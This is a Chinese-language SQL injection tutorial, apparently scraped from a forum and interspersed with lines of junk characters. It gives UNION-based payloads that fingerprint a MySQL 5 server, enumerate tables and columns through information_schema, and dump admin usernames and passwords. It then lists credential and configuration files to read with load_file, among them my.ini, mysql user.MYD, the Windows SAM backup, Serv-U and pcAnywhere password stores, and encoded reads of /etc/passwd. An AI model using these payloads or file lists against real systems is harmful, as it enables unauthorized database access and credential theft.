mysql5.0注入原理

admin

记得之前园长说不知道MYSQL5.0以上的IFORMATION_SCHEMA表的结构就说自己懂得注入的是很傻逼的事情。于是了解了一番。
; G/ l: f* H% s7 n6 {
# o+ _4 X, o# j, |3 n, @. J
% ~/ K, T$ I$ I8 j" M- Q: o
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库，其
; V) P/ |  u2 J3 X/ ^0 w  }中记录了Mysql中所有
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说
/ T3 x" Q* F+ |# g明。
1.得到所有数据库名：
|SCHEMATA ->存储数据库名的表
|—字段：SCHEMA_NAME ->数据库名称
5 q1 r# T4 ^8 Z5 S4 J
|TABLES ->存储表名
|—字段：TABLE_SCHEMA ->表示该表名属于哪个数据库名
% {7 V; _  {4 c  r: E  W|—字段：TABLE_NAME ->存储表的表名
6 w! [( e* Z& T0 ]! R
8 k) h( I+ A& V! d|COLUMNS ->存储的字段名表
|—字段：TABLE_SCHEMA ->该字段所属数据库名
|—字段：TABLE_NAME ->存储所属表的名称
- `" P5 U& @" l3 G. k
|—字段：COLUMN_NAME ->该字段的名称

#########################################################################
- K& t0 |8 V3 m5 g##

( l, \! h2 U8 }( H2 _; K0×001 获取系统信息:
) A4 x% B; k( C
: v9 L/ C) Z  [union select 1,2,3,4,5,concat
(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user
(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
& V$ K9 P0 [& J
$ A! ?+ x! b* O; Y/*
+ h4 m* F7 a0 f+ S$ }
@@global.version_compile_os 获取系统版本

@@datadir 数据库路径
database() 当前数据库名称
; L( ?; M; O& N) @  S0x3c62723e 换行HEX值
( d( u. k5 o$ I$ K& M
# i* ]; Y" c2 C9 w; x: E*/

6 G/ [" ^) a4 C7 z######################################################################

0×002 获取表名

6 n. X! g5 ]8 R& G1 H. Wunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from
information_schema.tables where table_schema=0x67617264656e /*
+ ?4 F* ~8 l& R
$ K9 ]* w. t/ T/*
- k* i* w) i# ]' y+ J
0x67617264656e 为当前数据库名
" m9 q* e7 n7 N8 ~( y: j
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名

7 ]% {( V! g; O8 ^*/
5 d7 f9 }4 C9 N  e3 ]+ |# A( _/ n
& s: l' x. B# R* {  z& u: I######################################################################

5 i* }8 E, K: g& a0×003 获取字段
& k! U! w8 K) D
- R0 R7 D3 L. N* wunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from
: |: k: |, b+ u, J4 S$ Kinformation_schema.columns where table_name=0x61646d696e and
, ?; o1 {) c' Y: k' R

1 d- v# z5 d) r0 i  Y$ Atable_schema=0x67617264656e limit 1 /*

/*
  A4 m+ S8 L  O
group_concat(column_name) 同样是 一口气 获得该表（0x61646d696e）所有字段

0x61646d696e ->选择一个表

$ o/ q: t" F; Z& ]# F; q" H0x67617264656e ->数据库名

- c- K5 T2 C" ?- Q+ \*/
8 z4 e7 w: P; Y
( C+ E. Q. T/ \/ [3 O  N#####################################################################

0×004 获取数据

; j7 O1 v9 L' hunion select 1,2,3
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
9 ^6 s, X4 ?* g) q0 I- U2 R
6 y0 T; s* q- }. j) @7 Lunion select 1,group_concat(id),group_concat(adname),4,5,group_concat
(adpassword),6,7,8 from admin
; A- u. T7 B" V2 L; c5 Q4 B
/*
+ d; Y" D6 i" l, b. ]& ?( S
4 l9 Q. P8 L6 ^+ |$ l6 B% j0 C, s) [0x3c62723e 换行符号HEX编码
, V" y7 `! W: [. l% o, x6 Y6 _$ X
group_concat 同时获得该字段所有数据
9 i9 r9 H. h0 h5 z* Z
9 p2 O& Y/ X7 R' c' P' {*/
2 D& P) k% g& G3 J' _
0 p8 R# y  J4 L) k+ T
/ j& T8 a' f' D+ R. \
3 g+ Q' B) x* ?) H1 v- O
( O! E: S$ b. n7 A
$ ?7 t( x3 M1 C/ [& C9 {顺便添加一些mysql注入时非常有用的一些东西
" `3 q: `6 i" @* J; S
( m$ @9 k3 F) `/ f  G: S简单介绍Mysql注入中用到的一些函数的作用，利用它们可以判断当前用户权限（Root为最高，相当于MSSQL中的SA）、数据库版本、数据库路径、读取敏感文件、网站目录路径等等。
0 F* l6 w; U. S. g" a5 o
1:system_user() 系统用户名
) K0 z. }% s: \: t2:user()        用户名
; r  F3 s! C0 o' g: ?# C3:current_user()  当前用户名
% d6 ~5 X2 r4 p8 g4:session_user()连接数据库的用户名
5:database()    数据库名
/ w0 D7 Z* s" j  e4 ]6:version()     MYSQL数据库版本
7:load_file()   MYSQL读取本地文件的函数
( p, h3 ]3 k; _8 ]7 X8@datadir     读取数据库路径
9@basedir    MYSQL 安装路径
10@version_compile_os   操作系统  Windows Server 2003,
收集的一些路径：
WINDOWS下:
5 h7 `! W$ @; O- m" [c:/boot.ini          //查看系统版本
. c3 }. k1 g4 J! a. V) B5 yc:/windows/php.ini   //php配置信息
c:/windows/my.ini    //MYSQL配置文件，记录管理员登陆过的MYSQL用户名和密码
& \  c: R# j- u# @( ~; Xc:/winnt/php.ini
c:/winnt/my.ini
2 ]7 P: g( M+ y: i. U  x4 J* Ec:\mysql\data\mysql\user.MYD  //存储了mysql.user表中的数据库连接密码
  `% x& `+ A/ \) h- L! P$ Vc:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini  //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml  //IIS配置文件
/ s5 `6 ]& K2 j* T5 e5 @c:\windows\repair\sam  //存储了WINDOWS系统初次安装的密码
* q* \. W. D+ w+ q- ~c:\Program Files\ Serv-U\ServUAdmin.exe  //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf //查看     WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf   //查看jsp开发的网站 resin文件配置信息.


c:/Resin/conf/resin.conf      /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
' B0 G  H* }/ V' J! P; n* s! @/ V: zC:\Program Files\mysql\my.ini
9 L5 t: k1 Z  W. B8 a; o% q  ^c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
% P$ F/ f3 R* t- y. E" V( C0 `C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
( w& _2 X+ L9 p9 D9 b
2 I" ^! M0 }2 S1 Q1 x/ NLUNIX/UNIX下:
+ ^- R( x3 h9 P- L' F, m; o. b8 ]/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
* y& f' v% I( E% [" g: @2 x/usr/local/app/php5/lib/php.ini //PHP相关设置
% b) l) d& S# d' P# {  h, V/etc/sysconfig/iptables //从中得到防火墙规则策略
( K) Q2 U% j2 L0 w# @/etc/httpd/conf/httpd.conf // apache配置文件
" L: A5 U: I2 q' B/etc/rsyncd.conf //同步程序配置文件
9 T! r3 u4 W4 C1 M% s8 |6 h1 y/etc/my.cnf //mysql的配置文件
. l3 r; @, O! z, k% @/etc/redhat-release //系统版本
/etc/issue
: j3 X) {' X( h7 H7 k/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
. `3 j3 N7 G. F' e" @0 R: n# a6 R/usr/local/resin-3.0.22/conf/resin.conf  针对3.0.22的RESIN配置文件查看
# b6 |9 L& o% r, M( `/ n/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
# O3 o+ i, P, mload_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0x2F6574632F706173737764),0x3c,0×20)
* y$ s( o0 \- W- h! B' e- J/ ]replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
) I7 w# F' I/ b$ e* I2 Y上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3 i( g- D8 y( f" T1 q% |/ _
& B( e5 U* {" L- I